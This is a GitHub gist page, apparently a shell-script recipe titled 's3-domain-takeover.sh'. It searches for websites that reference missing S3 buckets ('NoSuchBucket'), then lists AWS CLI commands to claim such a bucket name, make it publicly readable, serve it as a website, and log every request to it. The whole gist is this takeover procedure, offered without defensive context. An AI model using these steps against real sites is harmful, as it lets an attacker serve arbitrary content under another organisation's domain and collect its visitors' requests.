Skip to content

Instantly share code, notes, and snippets.

@hrbrmstr

hrbrmstr/s3-domain-takeover.sh

Created May 19, 2018 11:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hrbrmstr/0be255289531061e5ef01553c4409324 to your computer and use it in GitHub Desktop.
Save hrbrmstr/0be255289531061e5ef01553c4409324 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
s3-domain-takeover.sh
https://publicwww.com/websites/NoSuchBucket/
aws s3 mb s3://BUCKET_NAME
aws s3 cp SOMEFILE s3://BUCKET_NAME SOMEFILE
{
"Version":"2018-01-01",
"Statement":[{"Sid":"AddPerm","Effect":"Allow","Principal": "*",
"Action":["s3:GetObject"],
"Resource":["arn:aws:s3:::BUCKET_NAME/*"] }]
}
aws s3api put-bucket-policy --bucket BUCKET_NAME --policy THE_ABOVE_POLICY
aws s3 website s3://BUCKET_NAME --index-document SOMEFILE_FROM_ABOVE
BUCKET_NAME.s3-website-us-east-1.amazonaws.com
{"LoggingEnabled":{"TargetBucket":"SOME_BUCKET_YOU_OWN","TargetPrefix": "PREFIX-" }}
aws s3api put-bucket-logging --bucket=BUCKET_NAME file://WHERE_YOU_STORED ^^
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment